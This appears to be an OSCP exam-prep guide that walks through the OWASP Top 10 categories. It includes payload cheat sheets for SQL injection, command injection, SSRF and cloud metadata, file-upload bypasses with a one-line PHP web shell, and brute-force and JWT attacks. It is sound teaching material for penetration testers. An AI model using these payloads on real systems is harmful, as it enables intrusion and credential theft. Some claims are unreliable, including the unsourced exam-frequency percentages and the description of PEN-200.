OWASP Top 10 Overview
Introduction
The OWASP Top 10 is the standard awareness document for web application security, published by the Open Web Application Security Project (OWASP). It represents a broad consensus of the most critical security risks to web applications, based on prevalence, exploitability, and impact.
The 2021 edition marked a significant restructuring from the 2017 version, consolidating some categories and introducing new ones (notably SSRF as A10). Understanding the OWASP Top 10 is essential for OSCP because:
- Every web-based machine on the OSCP exam involves at least one (usually multiple) OWASP Top 10 vulnerability class.
- The exam objectives explicitly require proficiency in identifying and exploiting web vulnerabilities.
- Many OSCP write-ups and methodology guides are organized around these categories.
- The Pen-200 exam (OSCP’s successor) places even heavier emphasis on web application attacks.
Key Insight for OSCP: You don’t need to be an OWASP expert, but you must be able to recognize, exploit, and chain the most common categories. A01 (Broken Access Control), A03 (Injection), A05 (Security Misconfiguration), A07 (Authentication Failures), and A10 (SSRF) appear in the vast majority of OSCP web machines.
OWASP Top 10 (2021) — Full Breakdown
A01: Broken Access Control
What it is: Restrictions on what authenticated users are allowed to do are not properly enforced. This is the #1 risk in the 2021 edition, promoted from a sub-category in 2017.
Sub-categories:
- IDOR (Insecure Direct Object Reference): Manipulating object identifiers (user IDs, file IDs, order numbers) to access other users’ data.
- Privilege Escalation: Gaining access to admin-level functionality by modifying role parameters, JWT claims, or hidden form fields.
- Forced Browsing: Accessing unlinked or undocumented URLs (
/admin,/backup,/.git). - Canonicalization Issues: Bypassing path-based access controls using encoding tricks (
/admin/../admin).
OSCP Relevance: ⭐⭐⭐⭐⭐ (Critical)
This is arguably the most frequently tested web vulnerability on OSCP. Nearly every web machine has at least one access control flaw.
Common OSCP Scenarios:
- Changing
user_id=1001touser_id=1in a URL or POST parameter reveals another user’s data. - Accessing
/admin/dashboardwithout authentication (or with a low-privilege account). - Modifying a JWT token’s
roleclaim from"user"to"admin". - Discovering hidden endpoints via directory brute-forcing (
/backup.sql,/config.php.bak).
Tools to Master:
| Tool | Purpose |
|---|---|
| Burp Suite (Repeater/Intruder) | Manual parameter tampering and automated ID enumeration |
| ffuf / dirb / gobuster | Directory and file brute-forcing |
| jwt_tool | JWT token manipulation and cracking |
| sqlmap | Automated SQLi (often leads to access control bypass) |
Detection Checklist:
- Map all authenticated endpoints and note which parameters reference objects.
- Try accessing the same endpoint as a different user (horizontal).
- Try accessing admin-only endpoints as a regular user (vertical).
- Brute-force numeric IDs sequentially.
- Check if deleting/modifying a parameter grants broader access.
Exploitation Approach:
# Step 1: Capture legitimate request in Burp
GET /api/users/1001/profile HTTP/1.1
Cookie: session=abc123
# Step 2: Send to Repeater, change ID
GET /api/users/1/profile HTTP/1.1
Cookie: session=abc123
# Step 3: If successful, automate with Intruder
# Payloads: 1, 2, 3, ... 100 (cluster attack on the ID parameter)
# Step 4: For directory discovery
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
A02: Cryptographic Failures
What it is: Sensitive data is exposed due to inadequate encryption, weak algorithms, hardcoded keys, or improper key management. Formerly “Sensitive Data Exposure” (2017).
Sub-categories:
- Weak Algorithms: MD5, SHA1, DES, RC4 for data that requires strong protection.
- Hardcoded Secrets: API keys, database passwords, or encryption keys embedded in source code.
- Data in Transit: Sensitive data sent over HTTP instead of HTTPS.
- Data at Rest: Databases, backups, or log files containing plaintext credentials.
- Default/Weak Passwords: Systems shipped with default credentials that were never changed.
OSCP Relevance: ⭐⭐⭐⭐ (High)
Cryptographic failures are a stepping stone on most OSCP machines. Finding a hardcoded password in source code or a weakly encrypted database is a common path to initial access.
Common OSCP Scenarios:
- Finding plaintext credentials in a
.envfile,config.php, or JavaScript source. - Discovering an MD5 hash that can be cracked with
hashcatorjohn. - Finding a database dump with weakly hashed passwords.
- Intercepting HTTP traffic that reveals session tokens or credentials.
Tools to Master:
| Tool | Purpose |
|---|---|
| hashcat | GPU-accelerated password cracking |
| John the Ripper | Password cracking (CPU-based, great for many hash types) |
| Burp Suite (Decoder) | Decode Base64, URL, hex-encoded data |
| CyberChef | Swiss Army knife for encoding/decoding/crypto |
| strings / grep | Find hardcoded secrets in binaries and source code |
Detection Checklist:
- Check all HTTP responses for sensitive data in plaintext.
- Look for
.env,config.*,wp-config.php,web.configfiles. - Search JavaScript files for API keys, tokens, or hardcoded credentials.
- Check if passwords are stored as reversible hashes (MD5, SHA1) vs. proper bcrypt/argon2.
- Look for SSL/TLS misconfigurations (self-signed certs, expired certs, HTTP-only endpoints).
Exploitation Approach:
# Step 1: Find a hash (e.g., from a database dump)
echo '5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt
# Step 2: Identify hash type
hash-identifier # Interactive hash identification
# Step 3: Crack with hashcat (MD5 = mode 0)
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# Step 4: Crack with John
john --format=MD5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Step 5: Use cracked credential to authenticate
A03: Injection
What it is: Untrusted data is sent to an interpreter as part of a command or query. This is the broadest and most impactful category, encompassing SQLi, command injection, LDAP injection, XXE, and more.
Sub-categories:
- SQL Injection (SQLi): Most common injection type; manipulates database queries.
- Command Injection (OS Command Injection): Injects OS commands into vulnerable applications.
- LDAP Injection: Manipulates LDAP queries for authentication bypass or data extraction.
- XML External Entity (XXE): Exploits XML parsers to read files or perform SSRF.
- NoSQL Injection: Targets MongoDB and other NoSQL databases.
- SSI Injection: Server-Side Includes injection in web server processing.
OSCP Relevance: ⭐⭐⭐⭐⭐ (Critical)
Injection is the #1 most tested vulnerability class on OSCP. SQLi and command injection alone account for a massive percentage of web-based initial access vectors.
Common OSCP Scenarios:
- SQLi:
' OR 1=1--on a login form bypasses authentication. Union-based SQLi extracts usernames and password hashes from the database. - Command Injection:
; cat /etc/passwdor| whoamiappended to a ping/lookup parameter. - Blind SQLi: Time-based (
SLEEP(5)) or boolean-based (AND 1=1) extraction when no output is visible. - XXE: Reading
/etc/passwdor internal files via crafted XML payloads.
SQL Injection Cheat Sheet:
-- Authentication bypass
' OR '1'='1' --
' OR 1=1 --
admin' --
-- Union-based extraction
' UNION SELECT 1,2,3--
' UNION SELECT username,password,3 FROM users--
-- Blind boolean-based
' AND 1=1-- (true condition)
' AND 1=2-- (false condition)
-- Blind time-based
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
'; SELECT SLEEP(5)-- (MySQL)
'; SELECT pg_sleep(5)-- (PostgreSQL)
-- Error-based (extract info from error messages)
' AND (SELECT * FROM (SELECT COUNT(*), CONCAT((SELECT version()), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
Command Injection Cheat Sheet:
# Operator variants
; ls -la # Command separator
| cat /etc/passwd # Pipe
&& id # AND operator
|| whoami # OR operator
`id` # Backtick execution
$(whoami) # Subshell execution
# Line break injection (for HTTP header/parameter injection)
%0a%0aid # URL-encoded newline + command
\r\nid # CRLF + command
# Filter bypass techniques
# If spaces are filtered:
${IFS}cat${IFS}/etc/passwd # IFS variable
<cat</etc/passwd # Redirect trick
cat</etc/passwd # Redirect trick
# If semicolons are filtered:
| ls # Pipe
&& ls # AND
|| ls # OR
$(ls) # Subshell
Tools to Master:
| Tool | Purpose |
|---|---|
| sqlmap | Automated SQLi detection and exploitation |
| Burp Suite (Repeater/Intruder) | Manual injection testing |
| commix | Automated OS command injection |
| xpwn | MSSQL xp_cmdshell exploitation |
| sqlmap-gui | GUI frontend for sqlmap |
Detection Checklist:
- Test every input field, URL parameter, header, and cookie with injection payloads.
- Look for error messages that reveal database type or query structure.
- Test for time-based delays (blind injection indicator).
- Check if special characters (
',",;,|,&,`) are reflected or cause errors. - Use sqlmap for automated confirmation:
sqlmap -u "http://target/page?id=1" --batch
Exploitation Approach (SQLi to Shell):
# Step 1: Detect SQLi
sqlmap -u "http://target/page?id=1" --batch --level=3 --risk=2
# Step 2: Enumerate database
sqlmap -u "http://target/page?id=1" --dbs --batch
# Step 3: Dump tables
sqlmap -u "http://target/page?id=1" -D target_db --tables --batch
# Step 4: Dump credentials
sqlmap -u "http://target/page?id=1" -D target_db -T users --dump --batch
# Step 5: If file write is possible, upload web shell
sqlmap -u "http://target/page?id=1" --os-shell --batch
A04: Insecure Design
What it is: Vulnerabilities caused by flaws in the application’s design and architecture, not just implementation bugs. These cannot be fully addressed by tools or processes alone.
Sub-categories:
- Missing Function-Level Access Control: The application lacks proper authorization checks at the function level.
- Business Logic Flaws: The application’s workflow can be manipulated (e.g., skipping payment steps, negative quantities).
- Lack of Rate Limiting: No throttling on authentication, password reset, or API endpoints.
- Insecure Workflow Design: Multi-step processes that can be bypassed or reordered.
OSCP Relevance: ⭐⭐⭐ (Medium)
While not always explicitly tested as a standalone category, insecure design flaws are embedded in many OSCP machines. Business logic flaws and missing rate limiting are common.
Common OSCP Scenarios:
- Password reset flow that doesn’t validate the token properly.
- Multi-step registration where skipping steps grants access.
- Shopping cart with negative quantities leading to credit.
- API endpoints without rate limiting allowing brute-force attacks.
Detection Checklist:
- Map the complete application workflow step by step.
- Try to skip steps, reorder steps, or repeat steps.
- Test boundary conditions (negative numbers, zero, maximum values).
- Check if rate limiting exists on login, registration, and password reset.
- Look for functionality that works differently based on the path taken to reach it.
A05: Security Misconfiguration
What it is: The application is deployed with insecure default settings, incomplete configurations, open cloud storage, verbose error messages, or unnecessary features enabled.
Sub-categories:
- Default Credentials: Systems using factory-default usernames and passwords.
- Verbose Error Messages: Stack traces, database errors, or debug information exposed to users.
- Unnecessary HTTP Methods: TRACE, DELETE, PUT enabled when not needed.
- Directory Listing: Web server configured to list directory contents.
- Exposed Admin Interfaces:
/phpmyadmin,/wp-admin,/adminaccessible without protection. - Missing Security Headers: No CSP, HSTS, X-Frame-Options, etc.
- Cloud Storage Misconfiguration: Public S3 buckets, exposed Azure Blob Storage.
OSCP Relevance: ⭐⭐⭐⭐⭐ (Critical)
Security misconfiguration is extremely common on OSCP machines. Default credentials, exposed admin panels, and verbose errors are among the most frequent initial footholds.
Common OSCP Scenarios:
- phpMyAdmin accessible at
/phpmyadminwith default credentials (root:root). - WordPress admin panel at
/wp-login.phpwith weak admin password. - Django debug page revealing database configuration and secret key.
- Apache/Nginx directory listing revealing backup files (
backup.sql,.git/). - Default credentials on services (
admin:admin,admin:password,test:test).
Tools to Master:
| Tool | Purpose |
|---|---|
| ffuf / gobuster / dirb | Directory and file brute-forcing |
| nikto | Web server vulnerability scanner |
| whatweb | Technology fingerprinting |
| nmap (scripts) | Service detection and default credential checks |
| Burp Suite (Scanner) | Automated misconfiguration detection |
Detection Checklist:
- Run directory brute-forcing with multiple wordlists.
- Check HTTP response headers for server version info.
- Trigger errors intentionally and check for verbose output.
- Test common default credentials on all login forms.
- Check for exposed
.git,.svn,.env,robots.txt,sitemap.xml. - Use
OPTIONSmethod to check allowed HTTP methods.
Exploitation Approach:
# Step 1: Directory brute-forcing
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php,.bak,.sql,.txt,.zip,.tar.gz
# Step 2: Check HTTP methods
curl -X OPTIONS http://target/ -v
# Step 3: Nikto scan
nikto -h http://target/
# Step 4: Check for exposed version control
# If .git found:
git clone http://target/.git/ leaked_repo/
# Step 5: Try default credentials
# Common defaults: admin:admin, admin:password, root:toor, test:test
A06: Vulnerable and Outdated Components
What it is: Using components (libraries, frameworks, plugins) with known vulnerabilities. This includes outdated CMS plugins, web frameworks, and third-party dependencies.
Sub-categories:
- Outdated CMS: WordPress, Joomla, Drupal with known vulnerable versions.
- Vulnerable Plugins/Themes: Third-party extensions with unpatched CVEs.
- Legacy Frameworks: Old versions of Struts, Log4j, Spring, etc.
- Dependency Confusion: Attacker publishes a package with the same name to a public repository.
OSCP Relevance: ⭐⭐⭐⭐ (High)
Many OSCP machines run deliberately outdated software with known exploits. Recognizing the software version and finding a matching exploit is a core OSCP skill.
Common OSCP Scenarios:
- WordPress 4.x with a known RCE plugin exploit.
- Apache Struts with CVE-2017-5638 (RCE).
- Log4j (CVE-2021-44228) on a Java application.
- Joomla with a known SQLi or RCE vulnerability.
- phpMyAdmin with an authentication bypass.
Tools to Master:
| Tool | Purpose |
|---|---|
| whatweb / Wappalyzer | Identify web technologies and versions |
| searchsploit / ExploitDB | Find exploits for identified software |
| nmap (vuln scripts) | Detect known vulnerabilities |
| WPScan | WordPress-specific vulnerability scanner |
| joomscan | Joomla-specific vulnerability scanner |
Detection Checklist:
- Identify all technologies running on the target (CMS, framework, server).
- Determine exact versions from response headers, page source, or error messages.
- Search ExploitDB for known vulnerabilities matching the version.
- Check for vulnerable plugins, themes, or modules.
- Look for fingerprint strings in JavaScript files, CSS, or API responses.
Exploitation Approach:
# Step 1: Identify technology
whatweb http://target/
# Step 2: Search for exploits
searchsploit WordPress 4.9
searchsploit Apache Struts 2.5
# Step 3: Copy exploit to working directory
searchsploit -m php/remote/exploit_id.txt
# Step 4: Review and adapt the exploit
# Modify target IP, port, and any other parameters
# Step 5: Execute the exploit
python exploit.py --target http://target/
A07: Identification and Authentication Failures
What it is: Authentication and session management functionalities are exploited. Includes credential stuffing, weak passwords, broken multi-factor authentication, and exposed session tokens.
Sub-categories:
- Credential Stuffing: Using leaked credentials from other breaches.
- Weak/Default Passwords: Predictable or commonly used passwords.
- Broken Brute Force Protection: No rate limiting or account lockout.
- Session Fixation: Attacker sets a known session ID before the victim logs in.
- Insecure Password Recovery: Predictable or weak password reset tokens.
- MFA Bypass: Multi-factor authentication can be circumvented.
OSCP Relevance: ⭐⭐⭐⭐⭐ (Critical)
Authentication failures are a primary attack vector on OSCP. Weak passwords, brute-forceable login forms, and broken session management appear constantly.
Common OSCP Scenarios:
- Login form with no rate limiting → brute-force with
hydraorburp. - Password reset token that is predictable (sequential, timestamp-based).
- Session cookie that doesn’t change after login (session fixation).
- API endpoint that accepts credentials in the URL or as JSON without proper validation.
- JWT with
alg: nonealgorithm or weak secret.
Tools to Master:
| Tool | Purpose |
|---|---|
| hydra | Online password brute-forcing |
| Burp Suite (Intruder) | Custom brute-force attacks |
| jwt_tool | JWT manipulation and cracking |
| medusa | Alternative brute-force tool |
| curl | Manual API authentication testing |
Detection Checklist:
- Test login forms for rate limiting (try 5-10 failed attempts).
- Check if session cookies change after authentication.
- Test password reset flow for predictable tokens.
- Check if credentials can be sent via different methods (POST body, URL params, headers).
- Look for JWT tokens and check the algorithm and claims.
Exploitation Approach:
# Step 1: Brute-force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=invalid"
# Step 2: Brute-force with Burp Intruder
# - Capture login request
# - Send to Intruder
# - Set position on password field
# - Load wordlist
# - Look for different response length/status code
# Step 3: JWT attack (alg:none)
# Modify JWT header to: {"alg":"none","typ":"JWT"}
# Remove signature
# Send modified token
# Step 4: JWT brute-force
python3 jwt_tool.py -T eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... -d /usr/share/wordlists/rockyou.txt
A08: Software and Data Integrity Failures
What it is: Code and infrastructure are not properly protected against integrity violation. Includes insecure deserialization, unsafe uploads, and CI/CD pipeline compromise.
Sub-categories:
- Insecure Deserialization: Processing untrusted serialized data (Java, PHP, Python pickle, .NET).
- Unsafe File Upload: Uploading malicious files (web shells, executables).
- CI/CD Pipeline Compromise: Compromising build pipelines to inject malicious code.
- Over-Reliance on Third-Party Components: Supply chain attacks.
OSCP Relevance: ⭐⭐⭐⭐ (High)
Insecure deserialization and unsafe file uploads are frequently tested on OSCP. File upload vulnerabilities in particular are a common path to web shell deployment and RCE.
Common OSCP Scenarios:
- File upload form that doesn’t validate file type → upload PHP web shell.
- PHP deserialization gadget chain leading to RCE.
- Java deserialization via ysoserial payloads.
- Upload with extension filtering that can be bypassed (
.php.jpg,.pHp,.php5).
Tools to Master:
| Tool | Purpose |
|---|---|
| Burp Suite (Repeater) | Modify uploaded file content and headers |
| ysoserial | Java deserialization payloads |
| PHPGGC | PHP gadget chain generator |
| webshell scripts | Pre-made web shells (PHP, ASP, JSP) |
| curl / netcat | Interact with deployed web shells |
File Upload Bypass Techniques:
# Extension bypasses
shell.php.jpg # Double extension
shell.pHp # Case variation
shell.php5 # Alternative extension
shell.php:.jpg # Null byte (URL encoded: %00)
shell.phP # Mixed case
# Content-Type bypass
Content-Type: image/jpeg # While uploading .php file
# Magic byte bypass
# Add GIF89a header before PHP code
GIF89a<?php system($_GET['cmd']); ?>
# .htaccess bypass
# Upload .htaccess with: AddType application/x-httpd-php .jpg
# Then upload shell.jpg
A09: Security Logging and Monitoring Failures
What it is: Insufficient logging, monitoring, and effective response to incidents. Attacks go undetected because the application doesn’t log security events properly.
Sub-categories:
- Insufficient Logging: Critical events not logged at all.
- Inadequate Monitoring: Logs generated but not monitored or analyzed.
- Delayed Incident Response: Alerts generated but response is too slow.
- Log Tampering: Attackers can modify or delete logs.
OSCP Relevance: ⭐⭐ (Low-Medium)
This category is rarely directly tested on OSCP. However, understanding logging is useful for:
- Covering tracks during post-exploitation (not required for OSCP but good practice).
- Understanding what the attacker might see in log files during enumeration.
- Recognizing when log files contain sensitive information (credentials, tokens).
Detection Checklist:
- Check if login attempts (successful and failed) are logged.
- Check if file access and modification events are logged.
- Look for log files that might contain sensitive data.
- Check if log files are accessible via the web (
/logs/,/var/log/).
A10: Server-Side Request Forgery (SSRF)
What it is: The server is tricked into making HTTP requests to an unintended location, often within the internal network. SSRF was newly added as a top-level category in 2021.
Sub-categories:
- Direct SSRF: URL parameter directly controls the server’s request destination.
- Blind SSRF: No response returned, but the request is made (use OOB techniques).
- Cloud Metadata Access: Accessing cloud instance metadata (AWS, Azure, GCP).
- Internal Network Scanning: Using SSRF to discover and interact with internal services.
OSCP Relevance: ⭐⭐⭐⭐ (High)
SSRF appears on many OSCP machines, especially those with cloud-themed or multi-tier architectures. It’s a powerful pivot technique for accessing internal services.
Common OSCP Scenarios:
- URL import feature (
?url=http://...) that fetches and displays external content. - Webhook configuration page that makes requests to user-specified URLs.
- Image upload via URL that fetches the image server-side.
- Accessing
http://169.254.169.254/latest/meta-data/to retrieve cloud credentials. - Using
file://protocol to read local files.
SSRF Payload Cheat Sheet:
# Localhost access
http://127.0.0.1:8080/
http://localhost:8080/
http://[::1]:8080/
# IP encoding bypasses
http://0x7f000001:8080/ # Hex
http://2130706433:8080/ # Decimal
http://127.1/ # Shortened
http://0177.0.0.1/ # Octal
# Cloud metadata
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS
http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Azure
http://metadata.google.internal/computeMetadata/v1/ # GCP
# File protocol
file:///etc/passwd
file:///root/.ssh/id_rsa
# Gopher protocol (for interacting with services)
gopher://127.0.0.1:6379/_INFO
gopher://127.0.0.1:21/_USER%20attacker
Tools to Master:
| Tool | Purpose |
|---|---|
| Burp Suite (Repeater) | Manual SSRF testing |
| curl | Verify SSRF from outside |
| SSRF testing scripts | Automated SSRF detection |
| DNS rebinding tools | Bypass hostname-based filters |
Detection Checklist:
- Find any feature that fetches external URLs (import, webhook, image by URL).
- Test with
http://127.0.0.1/andhttp://localhost/. - Test with
file:///etc/passwd. - Test with cloud metadata URLs.
- Check for DNS rebinding possibilities.
- Test different URL encoding techniques to bypass filters.
OSCP Exam Frequency Mapping
The following table ranks OWASP Top 10 categories by their observed frequency on OSCP exam machines, based on community write-ups and exam reports:
| Rank | OWASP Category | OSCP Frequency | Typical Machines | Key Skills Required |
|---|---|---|---|---|
| 1 | A01 Broken Access Control | ~85% of web machines | Almost all | IDOR testing, privilege escalation, JWT manipulation |
| 2 | A03 Injection (SQLi, Cmdi) | ~80% of web machines | Almost all | sqlmap, manual SQLi, command injection operators |
| 3 | A05 Security Misconfiguration | ~75% of web machines | Most | Directory brute-forcing, default creds, error analysis |
| 4 | A07 Authentication Failures | ~70% of web machines | Most | Brute-forcing, session analysis, password cracking |
| 5 | A10 SSRF | ~40% of web machines | Many | URL manipulation, cloud metadata, protocol abuse |
| 6 | A06 Vulnerable Components | ~35% of web machines | Many | Version fingerprinting, exploit search, exploit adaptation |
| 7 | A02 Cryptographic Failures | ~30% of web machines | Several | Hash cracking, encoding/decoding, secret discovery |
| 8 | A08 Integrity Failures | ~25% of web machines | Several | File upload bypass, deserialization basics |
| 9 | A04 Insecure Design | ~20% of web machines | Some | Workflow analysis, logic testing |
| 10 | A09 Logging Failures | ~5% of web machines | Rare | Log file analysis, information gathering |
Exam Strategy: Focus 80% of your web prep on the top 5 categories (A01, A03, A05, A07, A10). These will give you the highest return on investment for exam preparation.
Practical Lab Scenarios
Scenario 1: IDOR to Admin Access (A01 + A07)
Setup: A web application with user accounts. Each user has a profile page at /profile?id=USER_ID.
Attack Path:
- Log in as a regular user (e.g.,
id=1001). - Change
idparameter to1,2,3… to find admin accounts. - Discover admin account at
id=1. - Use discovered admin credentials to log in directly.
- Access admin panel for further exploitation.
Practice: PortSwigger Academy — Access Control Labs
Scenario 2: SQLi to Remote Shell (A03)
Setup: A product search page with a vulnerable category parameter.
Attack Path:
- Test for SQLi:
category=1'→ error message reveals MySQL. - Confirm with:
category=1' AND 1=1--vscategory=1' AND 1=2--. - Use UNION-based SQLi to extract database schema.
- Dump
userstable to get credentials. - If
FILEprivilege exists, write a PHP web shell. - Access web shell for RCE.
Practice: PortSwigger Academy — SQL Injection Labs, DVWA SQLi
Scenario 3: Misconfiguration to Foothold (A05 + A06)
Setup: A web server with exposed admin panel and outdated CMS.
Attack Path:
- Directory brute-forcing reveals
/phpmyadmin/. - Default credentials
root:rootwork. - Dump database for application credentials.
- Alternatively: identify WordPress 4.9.8 → searchsploit → RCE exploit.
- Gain initial shell.
Practice: PortSwigger Academy — Authentication Labs, HackTheBox easy machines
Scenario 4: SSRF to Internal Access (A10)
Setup: A URL import feature on a public-facing web app.
Attack Path:
- Test with
http://127.0.0.1:8080/→ internal service responds. - Enumerate internal services: try common ports (8080, 3000, 5000, 8443).
- Discover internal admin panel at
http://127.0.0.1:8080/admin. - Use SSRF to interact with the admin panel.
- Alternatively: access cloud metadata for credentials.
Practice: PortSwigger Academy — SSRF Labs
Practice Resources
PortSwigger Web Security Academy (Free)
The best free resource for OWASP Top 10 practice. Each category has dedicated labs:
| Category | PortSwigger Labs |
|---|---|
| A01 Broken Access Control | Access Control Labs |
| A02 Cryptographic Failures | Cryptographic Failures Labs |
| A03 Injection | SQL Injection Labs, Command Injection Labs |
| A05 Security Misconfiguration | Security Misconfiguration Labs |
| A07 Authentication Failures | Authentication Labs |
| A08 Integrity Failures | File Upload Labs |
| A10 SSRF | SSRF Labs |
Additional Practice Platforms
| Platform | Focus | Cost |
|---|---|---|
| DVWA (Damn Vulnerable Web App) | All OWASP categories, local setup | Free |
| bWAPP | 100+ vulnerabilities, local setup | Free |
| WebGoat | OWASP-focused, guided lessons | Free |
| HackTheBox | Realistic machines, web focus | Free/Paid |
| TryHackMe | Guided rooms, beginner-friendly | Free/Paid |
| PentesterLab | Web-focused exercises | Paid |
| OSCP Practice Labs | Proving Grounds Practice | Paid |
Essential Tools Summary
| Category | Primary Tools | Secondary Tools |
|---|---|---|
| Recon | Burp Suite, ffuf, nikto, whatweb | nmap, dirb, gobuster |
| SQLi | sqlmap, Burp Repeater | manual testing, sqlmap-gui |
| Command Injection | Burp Repeater, commix | manual testing |
| Brute Force | hydra, Burp Intruder | medusa, curl |
| Password Cracking | hashcat, John the Ripper | online crackers (hashes.org) |
| SSRF | Burp Repeater, curl | custom scripts |
| File Upload | Burp Repeater, custom shells | Burp Intruder |
| JWT | jwt_tool, jwt-cracker | CyberChef, manual editing |
| Deserialization | ysoserial, PHPGGC | custom scripts |
OSCP Exam Tips for OWASP Categories
What to Know
- A01: Always test IDOR on every parameter that references an object. Always try accessing admin endpoints.
- A03: Know the difference between error-based, union-based, blind boolean, and blind time-based SQLi. Know command injection operators.
- A05: Always brute-force directories. Always try default credentials. Always check for exposed
.git,.env, and backup files. - A07: Always test for brute-force. Always check session behavior. Always try JWT attacks.
- A10: Always test URL parameters with localhost and metadata URLs.
What to Practice
- Manual SQLi before relying on sqlmap — the exam may have WAFs or filters that sqlmap triggers.
- Burp Suite workflow — you will use Burp for every web machine. Know Repeater, Intruder, and Decoder cold.
- Directory brute-forcing with multiple wordlists — this is the fastest way to find hidden endpoints.
- Password cracking with hashcat and John — you will encounter hashes on almost every machine.
- Web shell deployment — know how to upload and access PHP, ASP, and JSP shells.
What Tools to Master
- Burp Suite Professional (or Community) — your primary web attack tool.
- sqlmap — for automated SQLi exploitation.
- ffuf — for fast directory and parameter brute-forcing.
- hashcat — for password cracking.
- searchsploit — for finding exploits for identified software.
Summary
The OWASP Top 10 provides the framework for understanding web application vulnerabilities. For OSCP specifically:
- Master A01, A03, A05, A07, and A10 — these cover 80%+ of web attack scenarios on the exam.
- Practice manually — tools are helpful, but understanding the underlying mechanics is what separates successful candidates.
- Chain vulnerabilities — most OSCP machines require chaining 2-3 vulnerabilities (e.g., SQLi → credentials → SSH access → privilege escalation).
- Document everything — the OSCP report requires detailed documentation of each vulnerability found and exploited.
The OWASP Top 10 is not just a checklist — it’s a methodology for systematic web application testing. Internalize these categories, and you’ll have a structured approach to every web machine on the exam.